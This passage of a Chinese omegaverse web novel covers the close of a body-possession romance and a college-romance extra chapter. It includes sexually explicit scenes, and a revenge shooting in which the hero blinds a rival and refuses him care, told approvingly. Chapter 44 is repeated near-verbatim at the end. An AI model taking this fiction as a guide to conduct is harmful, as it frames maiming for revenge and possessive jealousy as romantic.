但他实在不知道这股情绪的源头,于是只能更加用力地回吻苏序,好宣泄一下心底的情绪。 …… 失明之后,苏序对任何动静都很敏锐,视觉被剥夺,其他感官便被成倍成倍地放大:“嘶……” 他眼里水淋淋的,脸颊泛红,像块漂亮诱人的糕点,掐在霍回腰上的那只手却骨节分明,十分用力,明显是属于成年男性alpha的有力的手。脸和手臂的肌肉形成了强烈的反差对比。 霍回往下坐,苏序眼里的泪越蓄越多,豆子一样大,亮晶晶的,给无神灰暗的眸子添上了几分神采。霍回眼睛直勾勾盯着他那双眼睛里欲坠不坠的泪,心好像被一片羽毛拂动了般痒痒的。 但旋即涌上来的是嫉妒的情绪。他漆黑的眼珠盯着苏序的脸,之前这个身体的人也和他这样做过吗?也看过他这样的表情吗? 一想到曾经有人也和苏序做过这样的事,霍回心里就被漫涨的妒火充斥,面上沉稳不显,身体却猛地往下坐。 苏序喉腔里溢出一声难耐的闷哼,小猫一样挠着人,霍回感受到了身体传递过来的奇怪感觉,心脏酥酥麻麻的,心里生出几分餍足。 这样没有任何空隙的负距离接触给了霍回极强的满足感。原来只能飘在空中,看不见也摸不着的男鬼,在进入了这具身体后,成功触碰到了苏序。皮肤是温热的,舌头很烫,亲人的时候很用力。 霍回那双眼睛里闪烁着心满意足的笑。 * 苏序这次的易感期持续了13天。 三年来,他的易感期都是一个人锁在房间里度过的,这次和霍回滚上了床,就颠三倒四了好几个夜晚。 等到苏序终于清醒过来,房间里久未消散的淫/靡气味时刻提醒着这里发生过什么。 苏序眉头紧皱,皮肤白皙干净,从脖颈开始往下,蜿蜒留下了暧昧红痕,都是被吮吸出来的,像是雪地里开出的红梅。 被子被另一个人扯了去,盖在了他的身上。苏序往后挪了点,背抵上软绵的枕头,一语不发,神情紧绷。 “小序?”霍回声音哑得厉害,低沉又沉稳,身上布着青紫痕迹。易感期的alpha可不留情,想啃哪里就啃哪里,攻击性强得可怕,不让他满足就会露出躁郁的表现。 霍回对他予取予求,百依百顺,即便被弄得一塌糊涂也还是不想看到他半点难受的表情。 然而苏序的脸却瞬间冷了下来,快要结冰,全然不见平日里的温柔和顺,嘴唇还在微微颤抖,似乎是惊惧又或是厌恶。 “小序。”霍回只是个刚偷了别人身体的鬼魂,刚有意识没多久,自然看不出来这种细微的神情变化,他只是发现苏序脸上的笑容没了,于是凑近了,想要知道苏序情绪突然变化的原因。 “滚开!”苏序情绪突然爆发,用力推开了面前的人。 他眼球泛着红血丝,意识到自己和这个冒牌霍回做了好多天,眼里闪烁起偏激的厌恶来,精神状态已然岌岌可危。 霍回被他推开倒在床上,不明所以地爬起来,看着苏序漂亮的眼睛里又蓄满了泪水,殷红的唇一张一合,唇珠被吸得红肿。他嘴里喃喃道:“滚……” 哭得可怜极了,眼泪像珍珠串一样往下掉,霍回心里一点气都没有,他茫然地看着苏序,伸手去接他的眼泪,滚烫的泪水啪嗒啪嗒往下掉,落在掌心烫的惊人。 “你别、别哭了。”霍回笨拙地想擦掉他脸上的眼泪。 苏序脸上还有未干的泪痕,情欲褪/去后,那张脸显出清纯脆弱,对着空气说:“阿回,我好想你。” 面前这个新的冒牌货总给他一种熟悉的感觉,就好像阿回在他的身边一样。反而让他的情绪更加不受控,更想念阿回了。 看着他怀念的神情,霍回不由得有些嫉妒这具身体的原主人了。 …… 空气中的葡萄味信息素仍旧浓郁得可怕,苏序冷着一张脸,眼睛还有点红,但已经恢复了平常淡然冷静的模样,平静道:“omega信息素是怎么回事?” 霍回用自己贫瘠的语言组着词:“我想你这样会好受一点,就注射了转换……” “给我。”苏序打断了他的解释,伸出手。 霍回听话地从抽屉里拿了出来,小心翼翼地把药箱放在了他的手上。 苏序打开药箱,摸到了里面的药剂,手确定着有多少管。这是用的第一管。但不知道这是什么时候备的。 他大概能猜到这是他的阿回备着的,怕他易感期难受,但因为自己强硬的态度,一直没使用过。没想到被这个冒牌货不知怎么的翻出来了。 苏序的手腕忽然反转,药箱里的药剂全部砸在地上摔碎了,药水流淌了一地,和玻璃碴子混在一起。 “别再用这种东西,”苏序垂下眸,浓密漆黑的眼睫遮住了眸里的情绪,嗓音清冷,“我和alpha结婚,就没想过需要omega的信息素安抚。你这样让我感觉……” 霍回表情空白地看着他,抓住了他的手腕,想要留住他,却被愕然甩开了手。 “很恶心。” 苏序下了床,离开了霍回的房间。 这样好像处处为他考虑一样,实在太像阿回了。但他不是阿回。因此像也成了一种令人痛苦的表征。 * 一连好几周,鱼元嘉终于又找到了机会和苏序见面。 他叮嘱自己的alpha父亲借公事之名拖住霍回,自己则是敲响了苏序的房间。 霍回对于任何人接触苏序都十分敏/感,扭头想跟上去,就听见那人说,是在研究苏序眼睛复明的方法。他因这一句话停下了脚步,忍下不愿和苏序分开的欲/望,耐心地听这人啰嗦。 鱼元嘉心满意足地进了苏序的房间。 苏序看起来更加消瘦了,柔弱得好像风一吹就能吹倒,周身萦绕着几分忧郁的气质。 鱼元嘉不由得放轻了脚步,唯恐惊碎了他:“苏序哥哥。” 苏序扯出一抹笑,怎么看都是强颜欢笑:“好久不见。” 鱼元嘉坐的离他近了点:“我一直想来找你的,但是没有你的联系方式。你最近在忙什么啊?” “抱歉,”苏序按了按额头,手背上青紫的血管都显露出来,皮肤白到近乎透明,鱼元嘉的视线禁不住在他手背上流连了瞬,喉结也不由自主滚动了下,“易感期提前来了,这段时间都没出门。” “你是alpha!”鱼元嘉大惊失色。 苏序有些讶异地抬眸:“是啊。你不知道吗?” “我……我现在知道了。”鱼元嘉平复着内心的震惊,原来苏序是alpha吗?那他和霍回就是……!怪不得他们结婚的事没几个人知道,AA恋在联邦并不被祝福。 鱼元嘉心潮澎湃,止不住地涌起兴奋,他也不知道自己在思考些什么,一个劲地吞咽着口水。 苏序半晌没听见动静,歪了下头,喊了声:“鱼元嘉?” “诶!苏序哥哥,”鱼元嘉的嗓音突然夹得甜腻起来,他专心致志地托腮看向苏序,漾起笑,一点傲慢小公子的架子都没了,“苏序哥哥,我在呢。” 苏序有点懵地眨了下眼睛。怎么突然进入变声期了吗? 鱼元嘉心中暗喜,苏序居然是alpha!现在看来,他找到梦中情人了!感谢霍回,感谢天,感谢地! 他迫不及待地想要直接切入正题,但又苦于找不到什么话题切入。 刚巧听见苏序说道:“……这些天都和霍回在一起……” 鱼元嘉不由得想起了苏序对霍回情根深种的模样,简直就是恋爱脑晚期了。他正色严肃地抓着苏序的手臂,控诉着:“你知不知道,霍回在外面拈花惹草,是个渣男!你一定要离他远远的啊!” 苏序:“……啊?” 他知道啊。不然他和鱼元嘉怎么认识的呢? 作者有话说: 晚了点,斯密马赛宝宝,不知道为什么,最近写的好卡《 》 完结&番外 第44章 Chapter10[VIP] 陶越持之以恒地给苏序发着消息, 苏序回复得并不勤,但偶尔也会挑个时间回复,就像根看得见吃不着的胡萝卜似的, 不紧不慢地吊着陶越。 他太难接触了,除了在意的事和人, 其他的事他完全不在乎, 每天都是待在家里,因此即便是偶尔做出的回复信息的动作,也点燃了陶越心底的希望,他觉得自己肯定有机会。 现在,霍回的身体是由一串AI数据控制的, 只不过是不懂得人的感情的人机,一定会让苏序感到厌烦。陶越心知自己目前最重要的就是温水煮青蛙, 急不得。 他试着约了几次苏序, 约他出来坐坐, 每一次无一例外都是拒绝,直到第十次时, 陶越自己都觉得没希望了, 只是随便问问, 苏序却答应了下来。 陶越反复播放苏序说“好啊, 什么时候我都可以”的那条语音,对方嗓音温柔清亮, 光是听着都能想象出他说这句话时候的神色。陶越蠢蠢欲动,脸上的笑容越来越大, 忍不住开始幻想苏序放弃霍回的那个壳子, 投入自己怀抱的情景了。 到了约定的时间,他们约在了陶越工作的那栋办公楼的休息室里见面。陶越表现得十分殷切, 就差把目的写在脸上了。 苏序扎了个低马尾,轻轻垂着眸,睫毛纤长柔软,让人说话的声音都不敢太大,生怕惊扰了他。 陶越想要拉近他们的距离,一直凭着自己那段时间对他的了解,不断地提起他觉得苏序会感兴趣的话题。苏序就那样托着腮,弯着眸子看他,安安静静的,却给足了人聆听的情绪价值,完全满足了陶越的大男子主义。 陶越越说越上头,被苏序那张脸迷得神魂颠倒,最后嘴巴一张一合,没忍住说出了:“其实我之前听说了一点关于你眼睛的事……是和你那位法定丈夫有关吧……” “是这样吗?”苏序温温柔柔地开口反问了句,明明他还是弯着眸在笑,但被那双无神灰眸注视着,陶越浑身打了个激灵,一股寒意从脊背窜上,定定地看着苏序。 苏序托着腮,平静柔和地问:“你是从哪里知道的呢?” 轻柔的嗓音像是密不透风的网将他整个缠住,挣脱不得,苏序脸上的笑容越深,那张网就收得越是紧,好像要把他勒死,连呼吸都变得急促了起来。 陶越僵硬地扯出一抹笑,使尽全力却还是没笑出声来,这副样子看起来十分可笑,他甚至都能听见自己心脏的跳动声。 …… 扑通,扑通,扑通。 陶越一个字也说不出来。他瞪大了眼睛看着面前的苏序,眼前这个人给他一种很强的压迫感,看起来柔柔弱弱的,却是能攀上身体、把依附的人勒到窒息的菟丝花。 太陌生了。 陶越觉得他和自己记忆中的人判若两人,眼前这个真的是苏序吗?苏序怎么会是这样?! 他的春心萌动消失得无影无踪,取而代之的是发自内心、无法遏制的恐惧。 苏序突然伸手,掌心贴在了他的胸口上,陶越身体僵硬,吞咽了下口水,打起精神,硬着头皮应对他刚才的问题:“就是……听说。天下没有不透风的墙,” “哦?我还以为,”苏序弯了眼,感受着手掌下心脏急促的跳动,克制住了想把这颗跳动的心脏挖出来的欲/望,漫不经心地说,“是陶先生亲身经历过呢。” 他微微笑着,陶越却猛地一惊,直接从座位上站了起来:“你说什么?!” “你怎么这么激动?”苏序歪了下头,“都有点吓到我了。” 陶越却没有放下警惕,浑身都被寒意浸没,不可置信地盯着他:“你刚刚说什么?” “陶越,”苏序也站起了身,神色平静,双眼无神地看着前方,吐字清晰,“眼睛要还我的。” 陶越像被雷劈了一般,这一刻,他是真的相信苏序是真的知道他是谁,也是真的觉得苏序会弄瞎他。 说完,苏序就朝门口走去。陶越从寒意中猛地回过神来,攥住了他的手臂:“等等!” “砰!”子弹擦着陶越的脸飞过,留下一道血痕,脸颊泛上强烈的刺痛感。陶越下意识松开了手,不可思议地捂住脸,朝子弹飞来的方向看去。 门口站着一个高大健壮的身影,身上还穿着军装,肩章是中将的标。单是站在那里,就让人感到正气凛然,不可侵犯。 苏序手臂被陶越扼得生疼,他站在原地,轻轻按揉着自己的小臂,轻轻拧眉。 “霍回?”陶越皱起眉,疼得呲牙咧嘴,看着霍回大跨步几步走向前,把苏序揽进了怀里,“你怎么?” 霍回一只手轻轻拍着苏序的背,俯在他耳边,声音中夹杂着愧疚:“对不起,我来晚了。” 陶越还在大声地喊着,说着什么霍回明明已经死了,他是什么孤魂野鬼夺舍,又让苏序千万不要相信他。 “砰!” 陶越满怀不忿的话语随着这声木/仓响骤然一滞,口中爆发出一声惨叫,整个人都倒在了地上疼得蜷缩起来,用手死死捂住眼睛,汩汩的鲜血不断从指缝里流出来。 霍回开木/仓时一只手捂住了苏序的耳朵,用衣服罩着他。从陶越的角度,他只能看见苏序的后脑勺,和霍回冷漠的眼神。 他嘴里不停地发出哀嚎,使劲睁开的那只眼睛很快视线也模糊了。即便疼到满地打滚,他还是不服气,这个人是从哪里冒出来的?明明上次还呆得像串数据,这次却像是有个真正的人上了身!这个人到底是谁? 凭什么苏序对他这么冷漠?!! 霍回却丝毫不在意他在想什么,他恢复了记忆,知道了眼前这个人占据了他身体三年,还害得苏序眼睛失明,脆弱得就像是随时会消失一样,他就恨不得把这人千刀万剐。 “我不会让人给你治疗的,”霍回手里的木/仓还在冒烟,被他别在了腰上,他居高临下地看着陶越,“这三年对序序做的事,你总该付出点代价。” 说完,他带着苏序离开这个房间。 陶越艰难地伸出手,视线的最后一幕是苏序仰着头被霍回亲了一口的画面,旋即被血液和泪水浸得模糊不堪:“别走……” 伸出的手垂落在地上,颤抖个不停。 * 霍回捧着苏序的脸,看着那双灰扑扑的眸子,他心如刀绞。他知道眼睛对苏序有多重要,正因为知道,他才更加懊恼悔恨:“对不起,我不知道他用我的身体做了这么多事……” “阿回,你都想起来了?”苏序脸上露出刚谈恋爱时候那种青涩又幸福的笑,“没关系啊,回来就好了。那些事情都不是你做的,不怪你,我的眼睛也能治好了。” 霍回帮他捋了捋额发,凑近贴着他的额头,半晌,唇贴上苏序的,认真虔诚地亲了亲,没有伸舌头也没有深入,只是贴着唇亲了下,却缠绵悱恻,好像无声中述说了许多未尽的话语。 苏序双手揽住他,也亲了亲他,弯眸安慰他:“我真的没事。” …… 苏序的眼睛是被杀伤性武器弄伤的,当初被判定的是,恢复视力的概率极低,接近于零。 但联邦科技正处于发展迅猛的阶段,目前的这项医疗技术可以让他重见光明。但由于技术发布没多久,鱼父只能说,有百分之七十的把握手术成功。 听见不是百分百,霍回不放心,他看向苏序,捏了捏他的手,无声询问。 “我要接受手术。”苏序的声音平静但坚定。 霍回看着他,最后说:“好。” 他总是无条件支持苏序的任何决定,即便心里仍旧十分担心,放心不下让他接受这场手术。 手术过程中,霍回一直守在手术室外,视线片刻不移地紧盯着门,手紧捏成拳头,紧张得都不敢喝水,浑身萦绕着低气压。 苏自明也在手术室外面等着苏序。他看着表情担心不似作伪的霍回,第一反应是这家伙又在装什么呢。 但霍回已经一动不动看着手术中三个字超过五个小时了,一个人如果是演的话,演不到这种程度。 苏自明叹了口气,直白地说:“你是真的担心我弟弟吗?” 霍回反应了好一会儿,才意识到这是在和他说话,迟缓地转过头来,看着苏自明,“嗯”了一声。 两个男人沉默对视着。 霍回率先开口:“抱歉,我知道前段时间我做了很多……很过分的事情,但不管您相不相信,我都要说,那些皆非出自我愿。我前几天让律师起草了一份协议,我的全部个人财产,无论是之前所得,还是之后所得,都归属于序序。他随时想要和我离婚都可以,我会净身出户。我和他之间的关系,永远都是他说了算。就算手术……就算是那样万分之一的可能吧,我最不想看到的情况发生了,以后我也会做他的眼睛。” “把我的眼睛给他也可以。” 霍回说得十分认真,连苏自明这种混迹政坛的老狐狸都看不出他脸上有任何作假的成分。 苏自明看着他,他的状态像是回到了他和苏序还没结婚的时候。他想了想,大抵猜到了结婚这三年或许是出了什么他不知道的事。 霍回的这一份保证,他不知道还能挑出什么刺来,只是说:“等他出来再说。” 两人就一直守在手术室外面等待着。 等到灯灭了,霍回迫不及待地起身走上了前。 “怎么样?手术顺利吗?” * 苏序躺在病床上,唇紧闭着,皮肤白净,蒙在眼睛上的三指半宽的纱布,被一圈一圈取了下来。 霍回紧紧捏着他的手,目不转睛地看着他的脸,等到那双眼睛显露了出来,他才压制着自己的情绪,轻声问:“怎么样?” 苏序纤长的眼睫轻颤一下,旋即抬起,眼珠转动,左看看右看看。 霍回时刻关注着他的表情,没有看见激动的神情,他心跳陡然一滞,像落进了无尽深渊,心疼漫上了眼睛,但很快,他就调整好了情绪,把苏序轻轻搂进怀里:“没关系没关系。” “什么没关系?”苏序歪了下头,下巴搁在他宽阔硬朗的肩膀上。 “序序,就算……”霍回说不出口,也不忍心说出口,他只是轻轻拍着苏序的后背,表示自己会永远陪着他。 苏序噗嗤笑了一声,用力回抱住他,高兴地说:“我看得见了!” 霍回被这个惊喜砸得懵了一瞬:“啊?” “我说,我看的见了!”苏序抱住他,用力地亲了亲他。 然后他就看见霍回脸上青色的胡茬,故意皱了皱鼻子:“你怎么这么不修边幅了啊,仗着我看不见,就不打理自己了?” 霍回眼睛红了,喉间堵塞,一个字也说不出来。 苏序不免有些心疼,也不逗他了,凑近去亲了亲他:“好了好了,就算不刮胡子我也爱你。” “序序,”霍回扬起了一个笑,“我也爱你。” ———正文完结——— 作者有话说: 完结撒花花~谢谢宝宝们的一路陪伴呀!我们下本再见 第45章 单元一番外:大学[番外] 午后的阳光从梧桐叶的缝隙里漏下来, 天很蓝,万里无云,是难得的晴朗天气。 游乐园里, 冰淇淋车里飘来香草精的甜味,那辆白色的车子就停在旋转木马旁边, 三三两两的人排队在那里等候。 “来一口。”薛蕴知手里拿着个甜筒, 伸手递到了温涟嘴边,低眸看着他。 闻言,温涟下意识张开了嘴,甜筒挨到了他的嘴唇,他咬下一口, 冰沁的甜味立马在口腔里绽开。 他戴着一顶鸭舌帽,压下了柔软的头发, 脸上没有架着那副厚重的黑框眼镜, 一双剔透的浅瞳便显露了出来, 看上去像是温顺单纯的羔羊,偏长的头发微微挡住后颈。 薛蕴知毫不在意地在他咬过一口的地方紧接着咬下一口, 温涟视线定定地望着他, 看着他嘴唇上沾了点白色奶油, 刚想抬手帮他擦掉, 他自己就率先反应了过来,伸舌卷了进去。 温涟的手顿在半空, 薛蕴知也注意到了他的那只手,舌尖扫过上唇的奶油后, 又低头轻轻舔了下他的指腹。 只是蜻蜓点水的一扫而过, 温涟瞳孔陡然缩小,手指迟缓地蜷了下, 被这突然到来的惊喜砸得脑袋都晕了,猛地抬眼去看薛蕴知。 薛蕴知却是抿了抿唇,一脸严肃地扭正了头,目视前方,强装淡定,但耳朵尖却红了。 “知知……”温涟道。 薛蕴知此地无银三百两,镇定道:“我什么都没做。” 温涟抬手捏了捏他的耳垂,弯唇,陈述着一个事实:“你耳朵红了。” “太热了。”薛蕴知瞥他一眼,桃花眼轻轻眯起,像是在警告他别说了,温涟完全压不下眼里的笑意,他知道薛蕴知脸皮薄,于是很配合地闭上了嘴。 甜筒被两人一口一口吃掉了,凑近咬下时,两人之间的距离很近,有种青涩又心知肚明的暧昧。 玩了一趟过山车下来,薛蕴知唇色有点泛白,紧紧抿着唇,迅速找了个长椅坐下。 温涟蹲在他面前,用湿巾擦了擦他的脸:“你是不是被吓到了。” 上去之前,温涟就看薛蕴知表情好像有点不自然,但是等他去问,薛蕴知又一本正经地说:“男人不能说不行。” 温涟猜到他可能有点恐高,但鲜少看见他失态的一面,因此听见他这句话,也就没有阻止。 但薛蕴知在过山车上咬紧了牙,一声也没有叫出声,绷着一张帅脸,看起来像是进入了所向披靡的无敌形态。 温涟凑过去,在呼啸的风声中说:“你可以喊出声。” 他这是真诚的建议,害怕但是憋着不喊,积压在心里的压力就更大了。 薛蕴知慢吞吞地侧头看了他一眼,浓密的睫毛颤动个不停,桃花眼有点泛红,虽然一个字都没说,但就是从头到脚都写满了委屈,温涟的心一瞬间软得一塌糊涂。 但过山车又不能中途停下,薛蕴知咬牙坚持了全程,过山车到达终点缓缓停下来后,其他人都连忙下去了,就他还坐在座位上没动,低着头。 “知知?”温涟歪着头,从方便的角度去看他的脸。 薛蕴知伸手准确无误抓住他的手臂,借力站了起来,咽下了口水,淡淡说:“没事。” 温涟看着他发白的嘴唇,和泛红的眼球,忍不住弯了下唇,一时间想问,真的没事吗? 薛蕴知双脚踩在了地上,还有点软飘飘的,侧头看见温涟想笑又在忍笑的表情,耳朵立马又红了,强调道:“真的没事,我还能再玩一次。” 温涟脸上的笑更加忍不住了,他握住薛蕴知的手,手指强硬地插/入他的指缝中,和他十指相扣,笑着说:“是我不敢玩了,我们出去休息下吧。” “好。”薛蕴知舒出口气。 温涟看他脸色实在有点差,让他先在椅子上坐一会儿,他去给他买瓶水。 等到他跑着回来的时候,就看见有人在和薛蕴知搭话,是个很年轻的男生,看起来像是和他们一样,都是大学生。温涟脸上的笑意一瞬间消失得无影无踪,眸色变得冰凉。 “薛哥,今天上午的篮球比赛你怎么不来啊?主力少了你,我们差点就输了!”青春洋溢的男生一边说着,一边坐在了薛蕴知身边,叽叽喳喳地说着话。 “那你们赢了没?”薛蕴知挑了下眉,一副你们最好是赢了的表情。 “当然!就咱们队这个实力,就算薛哥你不在,但打隔壁学校那还不是轻而易举?”男生得意洋洋地自夸着,从自己背包里拧开一瓶水,突然注意到薛蕴知的唇色发白,他顿了下,把这瓶水递到薛蕴知面前。 “这瓶我刚开,你要不先喝一口,我看你脸色不太……” “知知,我回来了。” 横插进来的一瓶水撞了下男生伸出来的手,挤进了薛蕴知的视线里。 男生一脸懵逼地抬起头,挠了挠脑袋,迟疑着要不要收回手,看向了薛蕴知,但他竟然从薛蕴知那张万年冰山脸上看见了一丝笑意。 薛蕴知坦荡地接过温涟手里那瓶水,仰头灌下一口,唇色被润得稍微好看了一点,冷水顺着喉腔流下,给难受的胃做出了安抚。他朝男生举了下水瓶:“有水,谢了。” 男生看看他,又看看那个戴鸭舌帽,低着头试图挡住自己脸的陌生男生,咂摸出了点不对劲的味道,试探性问:“薛哥,这位是?” 温涟往薛蕴知身边挤了挤,但是没有更多逾矩的表现了,安静地当个小摆件。他就真的像他说的一样,不会乱吃飞醋,也不会在没经过薛蕴知允许的情况下就做出一些自己爽了的举动。 薛蕴知看着他这么安静地待在自己身边,罕见地乖巧,心里不由升起了点愉悦情绪。伸手一把揽住了他的肩,把他搂得离自己近了不少,迎着男生目瞪口呆的神情,沉稳冷淡地宣告:“男朋友。” 男生:“啊??啊……薛哥你是……啊?” 男生视线在他们两人来回移动,一脸的不可置信。薛哥是基佬?看着也不像啊??而且他以为薛哥整天冷着脸,是封心锁爱了呢!没想到居然有对象了。 “我是。”薛蕴知知道他的未尽之语是什么,肯定了他的想法。 温涟眼睛亮晶晶地看着他,心脏扑通扑通地跳着,这样被知知当众承认自己的身份,让他获得一种无比强烈的安全感与安心。他抬眼随意瞥了一眼这个男生,终于有了点印象。 好像是校篮球队的,那薛蕴知和这个人就是队友关系。 温涟一向对薛蕴知身边的所有人都抱有一种强烈的敌意,尤其是这种长得有几分姿色的同龄人,就更能唤起他的恐惧。 他总害怕薛蕴知从自己身边离开,他自己也知道,他不是一个正常人,如果薛蕴知有一天不想再忍受他了怎么办?毕竟他的父亲、母亲、所谓的哥哥,都是这样做的…… 他以前对和薛蕴知形影不离的江明敌意很深,而现在江明和他们不在同一所学校了,自然没有那么多时间待在一起了。 有很多时间待在一起的只有他和薛蕴知。 温涟的眸色很淡,天然带着几分凉薄。 “这个是我的篮球队的队友。”薛蕴知低眸和他咬着耳朵,动作亲昵,彰显了两人之间极近的关系。 温涟一抬眸,就对上薛蕴知那双天然含情的桃花眼。 男生后知后觉薛蕴知这是在和男朋友约会,发现自己误入了他们的约会现场,甚至可能还打扰到了他们约会,他立马感到了几分羞赧,礼貌地朝他们打了招呼后,就快马加鞭跑了。 薛蕴知又喝了一口凉水,单手捂着胃,轻轻眨了下眼。这个过山车真是有点太刺激了,他要不着痕迹地让温涟选择更温和的项目。 温涟则是还陷在方才的对话中,他沉默几秒后,问道:“上午是篮球赛吗?你没和我提起过。” “我们不是早就约好今天出来玩吗?”薛蕴知低头看着他,“那场篮球赛的对手实力一般,有他们就够了,还是这边更需要我……嗯,我也更想出来和你一起玩。” 薛蕴知不会说什么甜言蜜语,他说的都是实话,但他不知道他顶着这样一张冷峻的帅脸,一脸认真地说这样真诚的情话的杀伤力有多大。总之温涟是呆呆地盯着他的脸在看了。 “咳咳,”薛蕴知轻咳了两声,转移话题,“我们去玩下一个项目吧,我看别人谈恋爱都玩那个。” 温涟下意识觉得是旋转木马,心里漾起了甜蜜的彩虹泡泡,刚要抿出一个腼腆的笑,下一秒就看见薛蕴知抬手指了指鬼屋的方向。 “这个吧,怎么样?”薛蕴知说得认真。 温涟的视线在旋转木马上多停留了一会儿,还是好想给坐在粉蓝色漂亮木马上的薛蕴知拍上几张照片,一定很有反差很可爱。 但薛蕴知没看出他脑子里在想什么,他对着鬼屋跃跃欲试,温涟也不得不看向鬼屋:“好啊。” 他心里想着说不定薛蕴知害怕鬼,会在黑暗里慌张地躲进他怀里。然而他的希望落空了,薛蕴知不仅半点不害怕,甚至十分平静。 两个人面不改色地从入口走到了出口,出来之后面面相觑,都等着对方被吓到躲进自己怀里,结果没想到两人胆子都比天大。 “再去其他项目?”温涟提议。 薛蕴知眼睛多眨了几下,看着嗖嗖的跳楼机,听着此起彼伏的尖叫声,心里有点发慌,但还是努力维持住酷帅的外表,尽显男友魅力:“你还想玩什么,我都可以。” “旋转木马。” “啊?” 最后薛蕴知一个一米八几的大男生,坐在上下移动的旋转木马上僵直地转着圈,甜蜜的音乐声和粉嫩的装饰和他这个人的气质简直格格不入。 “知知!”温涟在外面朝他招手。 薛蕴知红着耳朵,强忍羞涩,举起手比了个耶。 “咔擦。” 快门按下,相纸定格住这一幕。《 》 完结&番外 第44章 Chapter10[VIP] 陶越持之以恒地给苏序发着消息, 苏序回复得并不勤,但偶尔也会挑个时间回复,就像根看得见吃不着的胡萝卜似的, 不紧不慢地吊着陶越。 他太难接触了,除了在意的事和人, 其他的事他完全不在乎, 每天都是待在家里,因此即便是偶尔做出的回复信息的动作,也点燃了陶越心底的希望,他觉得自己肯定有机会。 现在,霍回的身体是由一串AI数据控制的, 只不过是不懂得人的感情的人机,一定会让苏序感到厌烦。陶越心知自己目前最重要的就是温水煮青蛙, 急不得。 他试着约了几次苏序, 约他出来坐坐, 每一次无一例外都是拒绝,直到第十次时, 陶越自己都觉得没希望了, 只是随便问问, 苏序却答应了下来。 陶越反复播放苏序说“好啊, 什么时候我都可以”的那条语音,对方嗓音温柔清亮, 光是听着都能想象出他说这句话时候的神色。陶越蠢蠢欲动,脸上的笑容越来越大, 忍不住开始幻想苏序放弃霍回的那个壳子, 投入自己怀抱的情景了。 到了约定的时间,他们约在了陶越工作的那栋办公楼的休息室里见面。陶越表现得十分殷切, 就差把目的写在脸上了。 苏序扎了个低马尾,轻轻垂着眸,睫毛纤长柔软,让人说话的声音都不敢太大,生怕惊扰了他。 陶越想要拉近他们的距离,一直凭着自己那段时间对他的了解,不断地提起他觉得苏序会感兴趣的话题。苏序就那样托着腮,弯着眸子看他,安安静静的,却给足了人聆听的情绪价值,完全满足了陶越的大男子主义。 陶越越说越上头,被苏序那张脸迷得神魂颠倒,最后嘴巴一张一合,没忍住说出了:“其实我之前听说了一点关于你眼睛的事……是和你那位法定丈夫有关吧……” “是这样吗?”苏序温温柔柔地开口反问了句,明明他还是弯着眸在笑,但被那双无神灰眸注视着,陶越浑身打了个激灵,一股寒意从脊背窜上,定定地看着苏序。 苏序托着腮,平静柔和地问:“你是从哪里知道的呢?” 轻柔的嗓音像是密不透风的网将他整个缠住,挣脱不得,苏序脸上的笑容越深,那张网就收得越是紧,好像要把他勒死,连呼吸都变得急促了起来。 陶越僵硬地扯出一抹笑,使尽全力却还是没笑出声来,这副样子看起来十分可笑,他甚至都能听见自己心脏的跳动声。 …… 扑通,扑通,扑通。 陶越一个字也说不出来。他瞪大了眼睛看着面前的苏序,眼前这个人给他一种很强的压迫感,看起来柔柔弱弱的,却是能攀上身体、把依附的人勒到窒息的菟丝花。 太陌生了。 陶越觉得他和自己记忆中的人判若两人,眼前这个真的是苏序吗?苏序怎么会是这样?! 他的春心萌动消失得无影无踪,取而代之的是发自内心、无法遏制的恐惧。 苏序突然伸手,掌心贴在了他的胸口上,陶越身体僵硬,吞咽了下口水,打起精神,硬着头皮应对他刚才的问题:“就是……听说。天下没有不透风的墙,” “哦?我还以为,”苏序弯了眼,感受着手掌下心脏急促的跳动,克制住了想把这颗跳动的心脏挖出来的欲/望,漫不经心地说,“是陶先生亲身经历过呢。” 他微微笑着,陶越却猛地一惊,直接从座位上站了起来:“你说什么?!” “你怎么这么激动?”苏序歪了下头,“都有点吓到我了。” 陶越却没有放下警惕,浑身都被寒意浸没,不可置信地盯着他:“你刚刚说什么?” “陶越,”苏序也站起了身,神色平静,双眼无神地看着前方,吐字清晰,“眼睛要还我的。” 陶越像被雷劈了一般,这一刻,他是真的相信苏序是真的知道他是谁,也是真的觉得苏序会弄瞎他。 说完,苏序就朝门口走去。陶越从寒意中猛地回过神来,攥住了他的手臂:“等等!” “砰!”子弹擦着陶越的脸飞过,留下一道血痕,脸颊泛上强烈的刺痛感。陶越下意识松开了手,不可思议地捂住脸,朝子弹飞来的方向看去。 门口站着一个高大健壮的身影,身上还穿着军装,肩章是中将的标。单是站在那里,就让人感到正气凛然,不可侵犯。 苏序手臂被陶越扼得生疼,他站在原地,轻轻按揉着自己的小臂,轻轻拧眉。 “霍回?”陶越皱起眉,疼得呲牙咧嘴,看着霍回大跨步几步走向前,把苏序揽进了怀里,“你怎么?” 霍回一只手轻轻拍着苏序的背,俯在他耳边,声音中夹杂着愧疚:“对不起,我来晚了。” 陶越还在大声地喊着,说着什么霍回明明已经死了,他是什么孤魂野鬼夺舍,又让苏序千万不要相信他。 “砰!” 陶越满怀不忿的话语随着这声木/仓响骤然一滞,口中爆发出一声惨叫,整个人都倒在了地上疼得蜷缩起来,用手死死捂住眼睛,汩汩的鲜血不断从指缝里流出来。 霍回开木/仓时一只手捂住了苏序的耳朵,用衣服罩着他。从陶越的角度,他只能看见苏序的后脑勺,和霍回冷漠的眼神。 他嘴里不停地发出哀嚎,使劲睁开的那只眼睛很快视线也模糊了。即便疼到满地打滚,他还是不服气,这个人是从哪里冒出来的?明明上次还呆得像串数据,这次却像是有个真正的人上了身!这个人到底是谁? 凭什么苏序对他这么冷漠?!! 霍回却丝毫不在意他在想什么,他恢复了记忆,知道了眼前这个人占据了他身体三年,还害得苏序眼睛失明,脆弱得就像是随时会消失一样,他就恨不得把这人千刀万剐。 “我不会让人给你治疗的,”霍回手里的木/仓还在冒烟,被他别在了腰上,他居高临下地看着陶越,“这三年对序序做的事,你总该付出点代价。” 说完,他带着苏序离开这个房间。 陶越艰难地伸出手,视线的最后一幕是苏序仰着头被霍回亲了一口的画面,旋即被血液和泪水浸得模糊不堪:“别走……” 伸出的手垂落在地上,颤抖个不停。 * 霍回捧着苏序的脸,看着那双灰扑扑的眸子,他心如刀绞。他知道眼睛对苏序有多重要,正因为知道,他才更加懊恼悔恨:“对不起,我不知道他用我的身体做了这么多事……” “阿回,你都想起来了?”苏序脸上露出刚谈恋爱时候那种青涩又幸福的笑,“没关系啊,回来就好了。那些事情都不是你做的,不怪你,我的眼睛也能治好了。” 